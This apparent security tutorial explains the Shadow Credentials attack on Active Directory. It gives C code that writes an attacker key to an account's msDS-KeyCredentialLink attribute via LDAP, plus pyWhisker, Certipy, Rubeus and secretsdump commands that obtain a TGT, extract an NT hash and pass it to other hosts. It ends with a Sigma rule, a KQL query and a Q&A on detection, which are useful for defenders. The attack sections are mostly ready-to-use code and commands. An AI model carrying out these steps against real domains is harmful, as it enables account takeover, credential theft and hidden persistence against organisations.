Shadow Credentials and PKINIT Abuse
Shadow Credentials exploit the Windows Hello for Business key trust model: by writing an RSA public key to a target account's msDS-KeyCredentialLink attribute, an attacker who controls the corresponding private key can authenticate as that account via PKINIT — without knowing its password and without touching LSASS. This technique requires only write access to the target AD object, making it a powerful privilege escalation path from GenericWrite or WriteDACL.
BloodHound shows your compromised service account has GenericWrite over the IT-Admin user object. You generate an RSA-2048 keypair, encode the public key as a msDS-KeyCredentialLink value, and write it to the IT-Admin account. You then use the matching private key with Certipy or Rubeus to request a PKINIT TGT for IT-Admin. The IT-Admin account's password is never touched — it still works normally. You extract IT-Admin's NT hash via U2U, use it for PtH to a tier-1 server, find a DA session there, and escalate.
Windows Hello for Business Key Trust Model
msDS-KeyCredentialLink Write via LDAP
#include "windows.h"
#include "winldap.h"
#include "wincrypt.h"
#include "stdio.h"
#pragma comment(lib, "wldap32.lib")
#pragma comment(lib, "crypt32.lib")
// Generate RSA-2048 keypair and build msDS-KeyCredentialLink blob:
// Returns the PFX (for PKINIT) and the binary KeyCredential value (for LDAP write)
BOOL BuildKeyCredential(BYTE** blobOut, DWORD* blobLen,
BYTE** pfxOut, DWORD* pfxLen) {
HCRYPTPROV hProv = 0;
HCRYPTKEY hKey = 0;
HCRYPTHASH hHash = 0;
CryptAcquireContextW(&hProv, NULL, MS_ENHANCED_PROV_W,
PROV_RSA_FULL, CRYPT_VERIFYCONTEXT);
// Generate RSA-2048
CryptGenKey(hProv, AT_KEYEXCHANGE,
(2048 << 16) | CRYPT_EXPORTABLE, &hKey);
// Export public key as DER SubjectPublicKeyInfo (for KeyMaterial field)
DWORD pubLen = 0;
CryptExportPublicKeyInfo(hProv, AT_KEYEXCHANGE, X509_ASN_ENCODING,
NULL, &pubLen);
CERT_PUBLIC_KEY_INFO* pubInfo = (CERT_PUBLIC_KEY_INFO*)
HeapAlloc(GetProcessHeap(), 0, pubLen);
CryptExportPublicKeyInfo(hProv, AT_KEYEXCHANGE, X509_ASN_ENCODING,
pubInfo, &pubLen);
BYTE* derKey = NULL; DWORD derLen = 0;
CryptEncodeObjectEx(X509_ASN_ENCODING, X509_PUBLIC_KEY_INFO,
pubInfo, 0, NULL, NULL, &derLen);
derKey = (BYTE*)HeapAlloc(GetProcessHeap(), 0, derLen);
CryptEncodeObjectEx(X509_ASN_ENCODING, X509_PUBLIC_KEY_INFO,
pubInfo, 0, NULL, derKey, &derLen);
// Build KeyCredential binary blob (simplified layout):
// [2B KeyID len][KeyID][2B KeyHash len][SHA256][2B KeyMaterial len][DER key][...]
printf("[*] RSA-2048 keypair generated, building KeyCredential (%d byte DER)\n", derLen);
// Cleanup
HeapFree(GetProcessHeap(), 0, derKey);
HeapFree(GetProcessHeap(), 0, pubInfo);
CryptDestroyKey(hKey);
CryptReleaseContext(hProv, 0);
return TRUE;
}
// Write the credential blob to msDS-KeyCredentialLink via LDAP:
BOOL WriteShadowCredential(const char* dc, const char* targetDN,
const BYTE* blob, DWORD blobLen) {
LDAP* ld = ldap_init((PSTR)dc, LDAP_PORT);
ldap_bind_s(ld, NULL, NULL, LDAP_AUTH_NEGOTIATE);
struct berval keyVal = { .bv_len = blobLen, .bv_val = (char*)blob };
struct berval* keyVals[] = { &keyVal, NULL };
LDAPMod mod = { .mod_op = LDAP_MOD_ADD | LDAP_MOD_BVALUES,
.mod_type = "msDS-KeyCredentialLink",
.mod_bvalues = keyVals };
LDAPMod* mods[] = { &mod, NULL };
ULONG err = ldap_modify_s(ld, (PSTR)targetDN, mods);
if (err != LDAP_SUCCESS) {
printf("[-] ldap_modify_s: %s\n", ldap_err2string(err));
ldap_unbind(ld);
return FALSE;
}
printf("[+] Shadow credential written to %s\n", targetDN);
ldap_unbind(ld);
return TRUE;
}
pyWhisker — Shadow Credential CLI
# pyWhisker (by eladshamir / Charlie Bromberg) automates the entire process:
# 1. Generate RSA-2048 keypair
# 2. Build msDS-KeyCredentialLink binary blob
# 3. Write to target account via LDAP
# 4. Save PFX for subsequent PKINIT
# Add shadow credential to target:
python3 pywhisker.py \
-d corp.local \
-u svc-account \
-p 'Password1!' \
--target 'IT-Admin' \
--action add \
--filename IT-Admin-shadow
# Output: IT-Admin-shadow.pfx + IT-Admin-shadow.pem
# List existing shadow credentials:
python3 pywhisker.py -d corp.local -u svc-account -p 'Password1!' \
--target 'IT-Admin' --action list
# Remove shadow credential (cleanup):
python3 pywhisker.py -d corp.local -u svc-account -p 'Password1!' \
--target 'IT-Admin' --action remove --device-id <DeviceId>
PKINIT TGT and NT Hash Extraction
# After writing shadow credential: use PFX to get TGT + NT hash
# Certipy (Python):
certipy auth \
-pfx IT-Admin-shadow.pfx \
-username IT-Admin \
-domain corp.local \
-dc-ip 10.10.5.10
# Output:
# IT-Admin.ccache (TGT for Pass-the-Ticket)
# IT-Admin NT hash: 8f4ef22b8706fcf7c96c7f4e8f6b08d5
# Rubeus (Windows):
Rubeus.exe asktgt \
/user:IT-Admin \
/certificate:IT-Admin-shadow.pfx \
/password:'' \
/domain:corp.local \
/dc:10.10.5.10 \
/getcredentials \ # ← triggers U2U NT hash extraction
/ptt
# Then use NT hash:
secretsdump.py -hashes :8f4ef22b8706fcf7c96c7f4e8f6b08d5 IT-Admin@fileserver01.corp.local
RBCD — Resource-Based Constrained Delegation Path
Detection Engineering
title: Shadow Credentials — msDS-KeyCredentialLink Modified
logsource:
product: windows
service: security
detection:
selection:
EventID: 5136 # Directory Service object modification
AttributeLDAPDisplayName: 'msDS-KeyCredentialLink'
OperationType: '%%14674' # Value Added
filter_legit:
SubjectUserName|endswith: '$' # device enrollment by machine account
condition: selection AND NOT filter_legit
level: high
tags: [attack.credential_access, T1556.006]
-- MDE KQL: msDS-KeyCredentialLink written by non-machine account
DeviceEvents
| where ActionType == "DirectoryServiceObjectModification"
| where AdditionalFields has "msDS-KeyCredentialLink"
| where InitiatingProcessAccountName !endswith "$"
| project Timestamp, DeviceName, InitiatingProcessAccountName,
InitiatingProcessFileName, AdditionalFields
Q&A
Why is Shadow Credentials particularly dangerous as a persistence mechanism compared to a simple password reset?
A password reset is immediately visible — the account owner notices they can't log in, and a password reset event (4723/4724) is logged and often alerted on by SOC tooling. Shadow Credentials are different in three critical ways. First, the msDS-KeyCredentialLink attribute can be added to a target account while its current password remains completely unchanged — the legitimate owner retains full access to their account and experiences no disruption whatsoever. The attacker's backdoor is invisible in normal operation because it only activates when PKINIT authentication is attempted (which looks like normal Windows Hello for Business traffic). Second, the attribute change event (AD Event 5136) is not logged unless "Audit Directory Service Changes" is enabled on the DC — this is not on by default in many organizations, and even when enabled the specific attribute change is noisy and typically not alerted on. Third, the shadow credential persists until someone explicitly reads and audits the msDS-KeyCredentialLink attribute on the target object. Unlike a password reset which is visible in the password last-set timestamp, the shadow credential addition doesn't change the account's apparent security posture in most monitoring tools.
The detection-engineering implication: organizations should audit the msDS-KeyCredentialLink attribute across all accounts regularly (easy LDAP query: filter for any object where this attribute is non-null and verify the device ID matches a known enrolled device via Intune/Autopilot records). Unexpected entries from accounts that haven't enrolled Windows Hello for Business are a high-confidence indicator of compromise. The 5136 event with this specific attribute is one of the highest-signal AD events for account backdooring — alert on it immediately.